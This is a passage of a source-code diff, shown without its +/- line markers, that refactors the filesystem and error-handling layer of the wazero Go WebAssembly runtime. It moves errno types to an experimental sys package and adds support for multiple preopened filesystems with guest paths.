direntCount := uint32(len(d.dirents))
switch {
case d.cursor == uint64(len(d.dirents)):
// We're past the buf size, fill it up again.
dirents, errno := d.dirReader(direntBufSize)
if errno != 0 {
return nil, errno
}
d.dirents = append(d.dirents, dirents...)
fallthrough
default: // d.cursor < direntBufSize FIXME
if d.cursor == uint64(len(d.dirents)) {
return nil, syscall.ENOENT
}
dirent := &d.dirents[d.cursor]
return dirent, 0
case direntCount == 0:
return nil
case direntCount > n:
return d.dirents[:n]
}
}
// Advance advances the internal counters and indices to the next value.
// It also empties and refill the buffer with the next set of values when the internal cursor
// reaches the end of it.
func (d *Readdir) Advance() syscall.Errno {
if d.cursor == uint64(len(d.dirents)) {
return syscall.ENOENT
}
d.cursor++
d.countRead++
return 0
return d.dirents
}
type FSContext struct {
@@ -267,30 +258,33 @@ type FSContext struct {
// (or directories) and defaults to empty.
// TODO: This is unguarded, so not goroutine-safe!
openedFiles FileTable
// readdirs is a map of numeric identifiers to Readdir structs
// and defaults to empty.
// TODO: This is unguarded, so not goroutine-safe!
readdirs ReaddirTable
}
// FileTable is a specialization of the descriptor.Table type used to map file
// descriptors to file entries.
type FileTable = descriptor.Table[int32, *FileEntry]
// ReaddirTable is a specialization of the descriptor.Table type used to map file
// descriptors to Readdir structs.
type ReaddirTable = descriptor.Table[int32, *Readdir]
// RootFS returns the underlying filesystem. Any files that should be added to
// the table should be inserted via InsertFile.
// RootFS returns a possibly unimplemented root filesystem. Any files that
// should be added to the table should be inserted via InsertFile.
//
// TODO: This is only used by GOOS=js and tests: Remove when we remove GOOS=js
// (after Go 1.22 is released).
func (c *FSContext) RootFS() fsapi.FS {
return c.rootFS
if rootFS := c.rootFS; rootFS == nil {
return fsapi.UnimplementedFS{}
} else {
return rootFS
}
}
// LookupFile returns a file if it is in the table.
func (c *FSContext) LookupFile(fd int32) (*FileEntry, bool) {
return c.openedFiles.Lookup(fd)
}
// OpenFile opens the file into the table and returns its file descriptor.
// The result must be closed by CloseFile or Close.
func (c *FSContext) OpenFile(fs fsapi.FS, path string, flag int, perm fs.FileMode) (int32, syscall.Errno) {
func (c *FSContext) OpenFile(fs fsapi.FS, path string, flag fsapi.Oflag, perm fs.FileMode) (int32, sys.Errno) {
if f, errno := fs.OpenFile(path, flag, perm); errno != 0 {
return 0, errno
} else {
@@ -301,25 +295,53 @@ func (c *FSContext) OpenFile(fs fsapi.FS, path string, flag int, perm fs.FileMod
fe.Name = path
}
if newFD, ok := c.openedFiles.Insert(fe); !ok {
return 0, syscall.EBADF
return 0, sys.EBADF
} else {
return newFD, 0
}
}
}
// Renumber assigns the file pointed by the descriptor `from` to `to`.
func (c *FSContext) Renumber(from, to int32) sys.Errno {
fromFile, ok := c.openedFiles.Lookup(from)
if !ok || to < 0 {
return sys.EBADF
} else if fromFile.IsPreopen {
return sys.ENOTSUP
}
// If toFile is already open, we close it to prevent windows lock issues.
//
// The doc is unclear and other implementations do nothing for already-opened To FDs.
// https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#-fd_renumberfd-fd-to-fd---errno
// https://github.com/bytecodealliance/wasmtime/blob/main/crates/wasi-common/src/snapshots/preview_1.rs#L531-L546
if toFile, ok := c.openedFiles.Lookup(to); ok {
if toFile.IsPreopen {
return sys.ENOTSUP
}
_ = toFile.File.Close()
}
c.openedFiles.Delete(from)
if !c.openedFiles.InsertAt(fromFile, to) {
return sys.EBADF
}
return 0
}
// SockAccept accepts a socketapi.TCPConn into the file table and returns
// its file descriptor.
func (c *FSContext) SockAccept(sockFD int32, nonblock bool) (int32, syscall.Errno) {
func (c *FSContext) SockAccept(sockFD int32, nonblock bool) (int32, sys.Errno) {
var sock socketapi.TCPSock
if e, ok := c.LookupFile(sockFD); !ok || !e.IsPreopen {
return 0, syscall.EBADF // Not a preopen
return 0, sys.EBADF // Not a preopen
} else if sock, ok = e.File.(socketapi.TCPSock); !ok {
return 0, syscall.EBADF // Not a sock
return 0, sys.EBADF // Not a sock
}
var conn socketapi.TCPConn
var errno syscall.Errno
var errno sys.Errno
if conn, errno = sock.Accept(); errno != 0 {
return 0, errno
} else if nonblock {
@@ -331,83 +353,23 @@ func (c *FSContext) SockAccept(sockFD int32, nonblock bool) (int32, syscall.Errn
fe := &FileEntry{File: conn}
if newFD, ok := c.openedFiles.Insert(fe); !ok {
return 0, syscall.EBADF
return 0, sys.EBADF
} else {
return newFD, 0
}
}
// LookupFile returns a file if it is in the table.
func (c *FSContext) LookupFile(fd int32) (*FileEntry, bool) {
return c.openedFiles.Lookup(fd)
}
// LookupReaddir returns a Readdir struct or creates an empty one if it was not present.
//
// Note: this currently assumes that idx == fd, where fd is the file descriptor of the directory.
// CloseFile will delete this idx from the internal store. In the future, idx may be independent
// of a file fd, and the idx may have to be disposed with an explicit CloseReaddir.
func (c *FSContext) LookupReaddir(idx int32, f *FileEntry) (*Readdir, syscall.Errno) {
if item, _ := c.readdirs.Lookup(idx); item != nil {
return item, 0
} else {
item, err := newReaddirFromFileEntry(f)
if err != 0 {
return nil, err
}
ok := c.readdirs.InsertAt(item, idx)
if !ok {
return nil, syscall.EINVAL
}
return item, 0
}
}
// CloseReaddir delete the Readdir struct at the given index
//
// Note: Currently only necessary in tests. In the future, the idx will have to be disposed explicitly,
// unless we maintain a map fd -> []idx, and we let CloseFile close all the idx in []idx.
func (c *FSContext) CloseReaddir(idx int32) {
c.readdirs.Delete(idx)
}
// Renumber assigns the file pointed by the descriptor `from` to `to`.
func (c *FSContext) Renumber(from, to int32) syscall.Errno {
fromFile, ok := c.openedFiles.Lookup(from)
if !ok || to < 0 {
return syscall.EBADF
} else if fromFile.IsPreopen {
return syscall.ENOTSUP
}
// If toFile is already open, we close it to prevent windows lock issues.
//
// The doc is unclear and other implementations do nothing for already-opened To FDs.
// https://github.com/WebAssembly/WASI/blob/snapshot-01/phases/snapshot/docs.md#-fd_renumberfd-fd-to-fd---errno
// https://github.com/bytecodealliance/wasmtime/blob/main/crates/wasi-common/src/snapshots/preview_1.rs#L531-L546
if toFile, ok := c.openedFiles.Lookup(to); ok {
if toFile.IsPreopen {
return syscall.ENOTSUP
}
_ = toFile.File.Close()
}
c.openedFiles.Delete(from)
if !c.openedFiles.InsertAt(fromFile, to) {
return syscall.EBADF
}
return 0
}
// CloseFile returns any error closing the existing file.
func (c *FSContext) CloseFile(fd int32) syscall.Errno {
func (c *FSContext) CloseFile(fd int32) (errno sys.Errno) {
f, ok := c.openedFiles.Lookup(fd)
if !ok {
return syscall.EBADF
return sys.EBADF
}
if errno = f.File.Close(); errno != 0 {
return errno
}
c.openedFiles.Delete(fd)
c.readdirs.Delete(fd)
return platform.UnwrapOSError(f.File.Close())
return errno
}
// Close implements io.Closer
@@ -419,25 +381,19 @@ func (c *FSContext) Close() (err error) {
}
return true
})
// A closed FSContext cannot be reused so clear the state instead of
// using Reset.
// A closed FSContext cannot be reused so clear the state.
c.openedFiles = FileTable{}
c.readdirs = ReaddirTable{}
return
}
// NewFSContext creates a FSContext with stdio streams and an optional
// pre-opened filesystem.
//
// If `preopened` is not UnimplementedFS, it is inserted into
// the file descriptor table as FdPreopen.
func (c *Context) NewFSContext(
// InitFSContext initializes a FSContext with stdio streams and optional
// pre-opened filesystems and TCP listeners.
func (c *Context) InitFSContext(
stdin io.Reader,
stdout, stderr io.Writer,
rootFS fsapi.FS,
fs []fsapi.FS, guestPaths []string,
tcpListeners []*net.TCPListener,
) (err error) {
c.fsc.rootFS = rootFS
inFile, err := stdinFileEntry(stdin)
if err != nil {
return err
@@ -454,24 +410,19 @@ func (c *Context) NewFSContext(
}
c.fsc.openedFiles.Insert(errWriter)
if _, ok := rootFS.(fsapi.UnimplementedFS); ok {
// don't add to the pre-opens
} else if comp, ok := rootFS.(*sysfs.CompositeFS); ok {
preopens := comp.FS()
for i, p := range comp.GuestPaths() {
c.fsc.openedFiles.Insert(&FileEntry{
FS: preopens[i],
Name: p,
IsPreopen: true,
File: &lazyDir{fs: rootFS},
})
for i, fs := range fs {
guestPath := guestPaths[i]
if StripPrefixesAndTrailingSlash(guestPath) == "" {
// Default to bind to '/' when guestPath is effectively empty.
guestPath = "/"
c.fsc.rootFS = fs
}
} else {
c.fsc.openedFiles.Insert(&FileEntry{
FS: rootFS,
Name: "/",
FS: fs,
Name: guestPath,
IsPreopen: true,
File: &lazyDir{fs: rootFS},
File: &lazyDir{fs: fs},
})
}
@@ -480,3 +431,42 @@ func (c *Context) NewFSContext(
}
return nil
}
// StripPrefixesAndTrailingSlash skips any leading "./" or "/" such that the
// result index begins with another string. A result of "." coerces to the
// empty string "" because the current directory is handled by the guest.
//
// Results are the offset/len pair which is an optimization to avoid re-slicing
// overhead, as this function is called for every path operation.
//
// Note: Relative paths should be handled by the guest, as that's what knows
// what the current directory is. However, paths that escape the current
// directory e.g. "../.." have been found in `tinygo test` and this
// implementation takes care to avoid it.
func StripPrefixesAndTrailingSlash(path string) string {
// strip trailing slashes
pathLen := len(path)
for ; pathLen > 0 && path[pathLen-1] == '/'; pathLen-- {
}
pathI := 0
loop:
for pathI < pathLen {
switch path[pathI] {
case '/':
pathI++
case '.':
nextI := pathI + 1
if nextI < pathLen && path[nextI] == '/' {
pathI = nextI + 1
} else if nextI == pathLen {
pathI = nextI
} else {
break loop
}
default:
break loop
}
}
return path[pathI:pathLen]
}
+52 -50
View File
@@ -1,14 +1,14 @@
package sys
import (
"io/fs"
"os"
"syscall"
experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
"github.com/tetratelabs/wazero/internal/fsapi"
"github.com/tetratelabs/wazero/sys"
)
// compile-time check to ensure lazyDir implements internalapi.File.
// compile-time check to ensure lazyDir implements fsapi.File.
var _ fsapi.File = (*lazyDir)(nil)
type lazyDir struct {
@@ -18,92 +18,94 @@ type lazyDir struct {
f fsapi.File
}
// Ino implements the same method as documented on internalapi.File
func (r *lazyDir) Ino() (uint64, syscall.Errno) {
// Dev implements the same method as documented on fsapi.File
func (r *lazyDir) Dev() (uint64, experimentalsys.Errno) {
if f, ok := r.file(); !ok {
return 0, syscall.EBADF
return 0, experimentalsys.EBADF
} else {
return f.Dev()
}
}
// Ino implements the same method as documented on fsapi.File
func (r *lazyDir) Ino() (sys.Inode, experimentalsys.Errno) {
if f, ok := r.file(); !ok {
return 0, experimentalsys.EBADF
} else {
return f.Ino()
}
}
// IsAppend implements the same method as documented on internalapi.File
// IsDir implements the same method as documented on fsapi.File
func (r *lazyDir) IsDir() (bool, experimentalsys.Errno) {
// Note: we don't return a constant because we don't know if this is really
// backed by a dir, until the first call.
if f, ok := r.file(); !ok {
return false, experimentalsys.EBADF
} else {
return f.IsDir()
}
}
// IsAppend implements the same method as documented on fsapi.File
func (r *lazyDir) IsAppend() bool {
return false
}
// SetAppend implements the same method as documented on internalapi.File
func (r *lazyDir) SetAppend(bool) syscall.Errno {
return syscall.EISDIR
// SetAppend implements the same method as documented on fsapi.File
func (r *lazyDir) SetAppend(bool) experimentalsys.Errno {
return experimentalsys.EISDIR
}
// Seek implements the same method as documented on internalapi.File
func (r *lazyDir) Seek(offset int64, whence int) (newOffset int64, errno syscall.Errno) {
// Seek implements the same method as documented on fsapi.File
func (r *lazyDir) Seek(offset int64, whence int) (newOffset int64, errno experimentalsys.Errno) {
if f, ok := r.file(); !ok {
return 0, syscall.EBADF
return 0, experimentalsys.EBADF
} else {
return f.Seek(offset, whence)
}
}
// Stat implements the same method as documented on internalapi.File
func (r *lazyDir) Stat() (fsapi.Stat_t, syscall.Errno) {
// Stat implements the same method as documented on fsapi.File
func (r *lazyDir) Stat() (sys.Stat_t, experimentalsys.Errno) {
if f, ok := r.file(); !ok {
return fsapi.Stat_t{}, syscall.EBADF
return sys.Stat_t{}, experimentalsys.EBADF
} else {
return f.Stat()
}
}
// Readdir implements the same method as documented on internalapi.File
func (r *lazyDir) Readdir(n int) (dirents []fsapi.Dirent, errno syscall.Errno) {
// Readdir implements the same method as documented on fsapi.File
func (r *lazyDir) Readdir(n int) (dirents []fsapi.Dirent, errno experimentalsys.Errno) {
if f, ok := r.file(); !ok {
return nil, syscall.EBADF
return nil, experimentalsys.EBADF
} else {
return f.Readdir(n)
}
}
// Sync implements the same method as documented on internalapi.File
func (r *lazyDir) Sync() syscall.Errno {
// Sync implements the same method as documented on fsapi.File
func (r *lazyDir) Sync() experimentalsys.Errno {
if f, ok := r.file(); !ok {
return syscall.EBADF
return experimentalsys.EBADF
} else {
return f.Sync()
}
}
// Datasync implements the same method as documented on internalapi.File
func (r *lazyDir) Datasync() syscall.Errno {
// Datasync implements the same method as documented on fsapi.File
func (r *lazyDir) Datasync() experimentalsys.Errno {
if f, ok := r.file(); !ok {
return syscall.EBADF
return experimentalsys.EBADF
} else {
return f.Datasync()
}
}
// Chmod implements the same method as documented on internalapi.File
func (r *lazyDir) Chmod(mode fs.FileMode) syscall.Errno {
// Utimens implements the same method as documented on fsapi.File
func (r *lazyDir) Utimens(times *[2]syscall.Timespec) experimentalsys.Errno {
if f, ok := r.file(); !ok {
return syscall.EBADF
} else {
return f.Chmod(mode)
}
}
// Chown implements the same method as documented on internalapi.File
func (r *lazyDir) Chown(uid, gid int) syscall.Errno {
if f, ok := r.file(); !ok {
return syscall.EBADF
} else {
return f.Chown(uid, gid)
}
}
// Utimens implements the same method as documented on internalapi.File
func (r *lazyDir) Utimens(times *[2]syscall.Timespec) syscall.Errno {
if f, ok := r.file(); !ok {
return syscall.EBADF
return experimentalsys.EBADF
} else {
return f.Utimens(times)
}
@@ -114,12 +116,12 @@ func (r *lazyDir) file() (fsapi.File, bool) {
if f := r.f; r.f != nil {
return f, true
}
var errno syscall.Errno
r.f, errno = r.fs.OpenFile(".", os.O_RDONLY, 0)
var errno experimentalsys.Errno
r.f, errno = r.fs.OpenFile(".", fsapi.O_RDONLY, 0)
switch errno {
case 0:
return r.f, true
case syscall.ENOENT:
case experimentalsys.ENOENT:
return nil, false
default:
panic(errno) // unexpected
@@ -127,7 +129,7 @@ func (r *lazyDir) file() (fsapi.File, bool) {
}
// Close implements fs.File
func (r *lazyDir) Close() syscall.Errno {
func (r *lazyDir) Close() experimentalsys.Errno {
f := r.f
if f == nil {
return 0 // never opened
+21 -31
View File
@@ -3,12 +3,12 @@ package sys
import (
"io"
"os"
"syscall"
"time"
experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
"github.com/tetratelabs/wazero/internal/fsapi"
"github.com/tetratelabs/wazero/internal/platform"
"github.com/tetratelabs/wazero/internal/sysfs"
"github.com/tetratelabs/wazero/sys"
)
// StdinFile is a fs.ModeDevice file for use implementing FdStdin.
@@ -19,10 +19,10 @@ type StdinFile struct {
io.Reader
}
// Read implements the same method as documented on internalapi.File
func (f *StdinFile) Read(buf []byte) (int, syscall.Errno) {
// Read implements the same method as documented on fsapi.File
func (f *StdinFile) Read(buf []byte) (int, experimentalsys.Errno) {
n, err := f.Reader.Read(buf)
return n, platform.UnwrapOSError(err)
return n, experimentalsys.UnwrapOSError(err)
}
type writerFile struct {
@@ -31,10 +31,10 @@ type writerFile struct {
w io.Writer
}
// Write implements the same method as documented on internalapi.File
func (f *writerFile) Write(buf []byte) (int, syscall.Errno) {
// Write implements the same method as documented on fsapi.File
func (f *writerFile) Write(buf []byte) (int, experimentalsys.Errno) {
n, err := f.w.Write(buf)
return n, platform.UnwrapOSError(err)
return n, experimentalsys.UnwrapOSError(err)
}
// noopStdinFile is a fs.ModeDevice file for use implementing FdStdin. This is
@@ -44,18 +44,13 @@ type noopStdinFile struct {
noopStdioFile
}
// AccessMode implements the same method as documented on internalapi.File
func (noopStdinFile) AccessMode() int {
return syscall.O_RDONLY
}
// Read implements the same method as documented on internalapi.File
func (noopStdinFile) Read([]byte) (int, syscall.Errno) {
// Read implements the same method as documented on fsapi.File
func (noopStdinFile) Read([]byte) (int, experimentalsys.Errno) {
return 0, 0 // Always EOF
}
// PollRead implements the same method as documented on internalapi.File
func (noopStdinFile) PollRead(*time.Duration) (ready bool, errno syscall.Errno) {
// PollRead implements the same method as documented on fsapi.File
func (noopStdinFile) PollRead(*time.Duration) (ready bool, errno experimentalsys.Errno) {
return true, 0 // always ready to read nothing
}
@@ -65,13 +60,8 @@ type noopStdoutFile struct {
noopStdioFile
}
// AccessMode implements the same method as documented on internalapi.File
func (noopStdoutFile) AccessMode() int {
return syscall.O_WRONLY
}
// Write implements the same method as documented on internalapi.File
func (noopStdoutFile) Write(buf []byte) (int, syscall.Errno) {
// Write implements the same method as documented on fsapi.File
func (noopStdoutFile) Write(buf []byte) (int, experimentalsys.Errno) {
return len(buf), 0 // same as io.Discard
}
@@ -79,18 +69,18 @@ type noopStdioFile struct {
fsapi.UnimplementedFile
}
// Stat implements the same method as documented on internalapi.File
func (noopStdioFile) Stat() (fsapi.Stat_t, syscall.Errno) {
return fsapi.Stat_t{Mode: modeDevice, Nlink: 1}, 0
// Stat implements the same method as documented on fsapi.File
func (noopStdioFile) Stat() (sys.Stat_t, experimentalsys.Errno) {
return sys.Stat_t{Mode: modeDevice, Nlink: 1}, 0
}
// IsDir implements the same method as documented on internalapi.File
func (noopStdioFile) IsDir() (bool, syscall.Errno) {
// IsDir implements the same method as documented on fsapi.File
func (noopStdioFile) IsDir() (bool, experimentalsys.Errno) {
return false, 0
}
// Close implements the same method as documented on internalapi.File
func (noopStdioFile) Close() (errno syscall.Errno) { return }
// Close implements the same method as documented on fsapi.File
func (noopStdioFile) Close() (errno experimentalsys.Errno) { return }
func stdinFileEntry(r io.Reader) (*FileEntry, error) {
if r == nil {
+3 -7
View File
@@ -114,7 +114,7 @@ func (c *Context) RandSource() io.Reader {
//
// Note: This is only used for testing.
func DefaultContext(fs fsapi.FS) *Context {
if sysCtx, err := NewContext(0, nil, nil, nil, nil, nil, nil, nil, 0, nil, 0, nil, nil, fs, nil); err != nil {
if sysCtx, err := NewContext(0, nil, nil, nil, nil, nil, nil, nil, 0, nil, 0, nil, nil, []fsapi.FS{fs}, []string{""}, nil); err != nil {
panic(fmt.Errorf("BUG: DefaultContext should never error: %w", err))
} else {
return sysCtx
@@ -135,7 +135,7 @@ func NewContext(
nanotimeResolution sys.ClockResolution,
nanosleep sys.Nanosleep,
osyield sys.Osyield,
rootFS fsapi.FS,
fs []fsapi.FS, guestPaths []string,
tcpListeners []*net.TCPListener,
) (sysCtx *Context, err error) {
sysCtx = &Context{args: args, environ: environ}
@@ -188,11 +188,7 @@ func NewContext(
sysCtx.osyield = platform.FakeOsyield
}
if rootFS != nil {
err = sysCtx.NewFSContext(stdin, stdout, stderr, rootFS, tcpListeners)
} else {
err = sysCtx.NewFSContext(stdin, stdout, stderr, fsapi.UnimplementedFS{}, tcpListeners)
}
err = sysCtx.InitFSContext(stdin, stdout, stderr, fs, guestPaths, tcpListeners)
return
}
+13 -12
View File
@@ -4,12 +4,13 @@ import (
"fmt"
"io/fs"
"path"
"syscall"
experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
"github.com/tetratelabs/wazero/internal/fsapi"
"github.com/tetratelabs/wazero/sys"
)
// Adapt adapts the input to api.FS unless it is already one. Use NewDirFS instead
// Adapt adapts the input to fsapi.FS unless it is already one. Use NewDirFS instead
// of os.DirFS as it handles interop issues such as windows support.
//
// Note: This performs no flag verification on OpenFile. fsapi.FS cannot read
@@ -36,26 +37,26 @@ func (a *adapter) String() string {
return fmt.Sprintf("%v", a.fs)
}
// OpenFile implements the same method as documented on api.FS
func (a *adapter) OpenFile(path string, flag int, perm fs.FileMode) (fsapi.File, syscall.Errno) {
// OpenFile implements the same method as documented on fsapi.FS
func (a *adapter) OpenFile(path string, flag fsapi.Oflag, perm fs.FileMode) (fsapi.File, experimentalsys.Errno) {
return OpenFSFile(a.fs, cleanPath(path), flag, perm)
}
// Stat implements the same method as documented on api.FS
func (a *adapter) Stat(path string) (fsapi.Stat_t, syscall.Errno) {
f, errno := a.OpenFile(path, syscall.O_RDONLY, 0)
// Stat implements the same method as documented on fsapi.FS
func (a *adapter) Stat(path string) (sys.Stat_t, experimentalsys.Errno) {
f, errno := a.OpenFile(path, fsapi.O_RDONLY, 0)
if errno != 0 {
return fsapi.Stat_t{}, errno
return sys.Stat_t{}, errno
}
defer f.Close()
return f.Stat()
}
// Lstat implements the same method as documented on api.FS
func (a *adapter) Lstat(path string) (fsapi.Stat_t, syscall.Errno) {
// At this time, we make the assumption that api.FS instances do not support
// Lstat implements the same method as documented on fsapi.FS
func (a *adapter) Lstat(path string) (sys.Stat_t, experimentalsys.Errno) {
// At this time, we make the assumption that fsapi.FS instances do not support
// symbolic links, therefore Lstat is the same as Stat. This is obviously
// not true but until api.FS has a solid story for how to handle symlinks we
// not true but until fsapi.FS has a solid story for how to handle symlinks we
// are better off not making a decision that would be difficult to revert
// later on.
//
-30
View File
@@ -1,30 +0,0 @@
package sysfs
import (
"os"
"syscall"
"github.com/tetratelabs/wazero/internal/platform"
)
// Chown is like os.Chown, except it returns a syscall.Errno, not a
// fs.PathError. For example, this returns syscall.ENOENT if the path doesn't
// exist. A syscall.Errno of zero is success.
//
// Note: This always returns syscall.ENOSYS on windows.
// See https://linux.die.net/man/3/chown
func Chown(path string, uid, gid int) syscall.Errno {
err := os.Chown(path, uid, gid)
return platform.UnwrapOSError(err)
}
// Lchown is like os.Lchown, except it returns a syscall.Errno, not a
// fs.PathError. For example, this returns syscall.ENOENT if the path doesn't
// exist. A syscall.Errno of zero is success.
//
// Note: This always returns syscall.ENOSYS on windows.
// See https://linux.die.net/man/3/lchown
func Lchown(path string, uid, gid int) syscall.Errno {
err := os.Lchown(path, uid, gid)
return platform.UnwrapOSError(err)
}
-13
View File
@@ -1,13 +0,0 @@
//go:build !windows
package sysfs
import (
"syscall"
"github.com/tetratelabs/wazero/internal/platform"
)
func fchown(fd uintptr, uid, gid int) syscall.Errno {
return platform.UnwrapOSError(syscall.Fchown(int(fd), uid, gid))
}
@@ -1,11 +0,0 @@
//go:build windows
package sysfs
import "syscall"
// fchown is not supported on windows. For example, syscall.Fchown returns
// syscall.EWINDOWS, which is the same as syscall.ENOSYS.
func fchown(fd uintptr, uid, gid int) syscall.Errno {
return syscall.ENOSYS
}
+3 -3
View File
@@ -6,9 +6,9 @@ import (
"os"
"syscall"
"github.com/tetratelabs/wazero/internal/platform"
"github.com/tetratelabs/wazero/experimental/sys"
)
func datasync(f *os.File) syscall.Errno {
return platform.UnwrapOSError(syscall.Fdatasync(int(f.Fd())))
func datasync(f *os.File) sys.Errno {
return sys.UnwrapOSError(syscall.Fdatasync(int(f.Fd())))
}
@@ -4,10 +4,11 @@ package sysfs
import (
"os"
"syscall"
"github.com/tetratelabs/wazero/experimental/sys"
)
func datasync(f *os.File) syscall.Errno {
func datasync(f *os.File) sys.Errno {
// Attempt to sync everything, even if we only need to sync the data.
return fsync(f)
}
+8 -9
View File
@@ -2,23 +2,22 @@ package sysfs
import (
"io"
"syscall"
"github.com/tetratelabs/wazero/experimental/sys"
"github.com/tetratelabs/wazero/internal/fsapi"
"github.com/tetratelabs/wazero/internal/platform"
)
func adjustReaddirErr(f fsapi.File, isClosed bool, err error) syscall.Errno {
func adjustReaddirErr(f fsapi.File, isClosed bool, err error) sys.Errno {
if err == io.EOF {
return 0 // e.g. Readdir on darwin returns io.EOF, but linux doesn't.
} else if errno := platform.UnwrapOSError(err); errno != 0 {
} else if errno := sys.UnwrapOSError(err); errno != 0 {
errno = dirError(f, isClosed, errno)
// Ignore errors when the file was closed or removed.
// Comply with errors allowed on fsapi.File Readdir
switch errno {
case syscall.EIO, syscall.EBADF: // closed while open
return 0
case syscall.ENOENT: // Linux error when removed while open
return 0
case sys.EINVAL: // os.File Readdir can return this
return sys.EBADF
case sys.ENOTDIR: // dirError can return this
return sys.EBADF
}
return errno
}
+41 -52
View File
@@ -5,8 +5,10 @@ import (
"os"
"syscall"
experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
"github.com/tetratelabs/wazero/internal/fsapi"
"github.com/tetratelabs/wazero/internal/platform"
"github.com/tetratelabs/wazero/sys"
)
func NewDirFS(dir string) fsapi.FS {
@@ -36,99 +38,86 @@ func (d *dirFS) String() string {
return d.dir
}
// OpenFile implements the same method as documented on api.FS
func (d *dirFS) OpenFile(path string, flag int, perm fs.FileMode) (fsapi.File, syscall.Errno) {
// OpenFile implements the same method as documented on fsapi.FS
func (d *dirFS) OpenFile(path string, flag fsapi.Oflag, perm fs.FileMode) (fsapi.File, experimentalsys.Errno) {
return OpenOSFile(d.join(path), flag, perm)
}
// Lstat implements the same method as documented on api.FS
func (d *dirFS) Lstat(path string) (fsapi.Stat_t, syscall.Errno) {
// Lstat implements the same method as documented on fsapi.FS
func (d *dirFS) Lstat(path string) (sys.Stat_t, experimentalsys.Errno) {
return lstat(d.join(path))
}
// Stat implements the same method as documented on api.FS
func (d *dirFS) Stat(path string) (fsapi.Stat_t, syscall.Errno) {
// Stat implements the same method as documented on fsapi.FS
func (d *dirFS) Stat(path string) (sys.Stat_t, experimentalsys.Errno) {
return stat(d.join(path))
}
// Mkdir implements the same method as documented on api.FS
func (d *dirFS) Mkdir(path string, perm fs.FileMode) (errno syscall.Errno) {
// Mkdir implements the same method as documented on fsapi.FS
func (d *dirFS) Mkdir(path string, perm fs.FileMode) (errno experimentalsys.Errno) {
err := os.Mkdir(d.join(path), perm)
if errno = platform.UnwrapOSError(err); errno == syscall.ENOTDIR {
errno = syscall.ENOENT
if errno = experimentalsys.UnwrapOSError(err); errno == experimentalsys.ENOTDIR {
errno = experimentalsys.ENOENT
}
return
}
// Chmod implements the same method as documented on api.FS
func (d *dirFS) Chmod(path string, perm fs.FileMode) syscall.Errno {
// Chmod implements the same method as documented on fsapi.FS
func (d *dirFS) Chmod(path string, perm fs.FileMode) experimentalsys.Errno {
err := os.Chmod(d.join(path), perm)
return platform.UnwrapOSError(err)
return experimentalsys.UnwrapOSError(err)
}
// Chown implements the same method as documented on api.FS
func (d *dirFS) Chown(path string, uid, gid int) syscall.Errno {
return Chown(d.join(path), uid, gid)
}
// Lchown implements the same method as documented on api.FS
func (d *dirFS) Lchown(path string, uid, gid int) syscall.Errno {
return Lchown(d.join(path), uid, gid)
}
// Rename implements the same method as documented on api.FS
func (d *dirFS) Rename(from, to string) syscall.Errno {
// Rename implements the same method as documented on fsapi.FS
func (d *dirFS) Rename(from, to string) experimentalsys.Errno {
from, to = d.join(from), d.join(to)
return Rename(from, to)
return rename(from, to)
}
// Readlink implements the same method as documented on api.FS
func (d *dirFS) Readlink(path string) (string, syscall.Errno) {
// Readlink implements the same method as documented on fsapi.FS
func (d *dirFS) Readlink(path string) (string, experimentalsys.Errno) {
// Note: do not use syscall.Readlink as that causes race on Windows.
// In any case, syscall.Readlink does almost the same logic as os.Readlink.
dst, err := os.Readlink(d.join(path))
if err != nil {
return "", platform.UnwrapOSError(err)
return "", experimentalsys.UnwrapOSError(err)
}
return platform.ToPosixPath(dst), 0
}
// Link implements the same method as documented on api.FS
func (d *dirFS) Link(oldName, newName string) syscall.Errno {
// Link implements the same method as documented on fsapi.FS
func (d *dirFS) Link(oldName, newName string) experimentalsys.Errno {
err := os.Link(d.join(oldName), d.join(newName))
return platform.UnwrapOSError(err)
return experimentalsys.UnwrapOSError(err)
}
// Rmdir implements the same method as documented on api.FS
func (d *dirFS) Rmdir(path string) syscall.Errno {
err := syscall.Rmdir(d.join(path))
return platform.UnwrapOSError(err)
// Rmdir implements the same method as documented on fsapi.FS
func (d *dirFS) Rmdir(path string) experimentalsys.Errno {
return rmdir(d.join(path))
}
// Unlink implements the same method as documented on api.FS
func (d *dirFS) Unlink(path string) (err syscall.Errno) {
return Unlink(d.join(path))
func rmdir(path string) experimentalsys.Errno {
err := syscall.Rmdir(path)
return experimentalsys.UnwrapOSError(err)
}
// Symlink implements the same method as documented on api.FS
func (d *dirFS) Symlink(oldName, link string) syscall.Errno {
// Unlink implements the same method as documented on fsapi.FS
func (d *dirFS) Unlink(path string) (err experimentalsys.Errno) {
return unlink(d.join(path))
}
// Symlink implements the same method as documented on fsapi.FS
func (d *dirFS) Symlink(oldName, link string) experimentalsys.Errno {
// Note: do not resolve `oldName` relative to this dirFS. The link result is always resolved
// when dereference the `link` on its usage (e.g. readlink, read, etc).
// https://github.com/bytecodealliance/cap-std/blob/v1.0.4/cap-std/src/fs/dir.rs#L404-L409
err := os.Symlink(oldName, d.join(link))
return platform.UnwrapOSError(err)
return experimentalsys.UnwrapOSError(err)
}
// Utimens implements the same method as documented on api.FS
func (d *dirFS) Utimens(path string, times *[2]syscall.Timespec, symlinkFollow bool) syscall.Errno {
return Utimens(d.join(path), times, symlinkFollow)
}
// Truncate implements the same method as documented on api.FS
func (d *dirFS) Truncate(path string, size int64) syscall.Errno {
// Use os.Truncate as syscall.Truncate doesn't exist on Windows.
err := os.Truncate(d.join(path), size)
return platform.UnwrapOSError(err)
// Utimens implements the same method as documented on fsapi.FS
func (d *dirFS) Utimens(path string, times *[2]syscall.Timespec) experimentalsys.Errno {
return Utimens(d.join(path), times)
}
func (d *dirFS) join(path string) string {
+162 -129
View File
@@ -4,10 +4,10 @@ import (
"io"
"io/fs"
"os"
"syscall"
experimentalsys "github.com/tetratelabs/wazero/experimental/sys"
"github.com/tetratelabs/wazero/internal/fsapi"
"github.com/tetratelabs/wazero/internal/platform"
"github.com/tetratelabs/wazero/sys"
)
func NewStdioFile(stdin bool, f fs.File) (fsapi.File, error) {
@@ -20,11 +20,11 @@ func NewStdioFile(stdin bool, f fs.File) (fsapi.File, error) {
} else {
mode = st.Mode()
}
var flag int
var flag fsapi.Oflag
if stdin {
flag = syscall.O_RDONLY
flag = fsapi.O_RDONLY
} else {
flag = syscall.O_WRONLY
flag = fsapi.O_WRONLY
}
var file fsapi.File
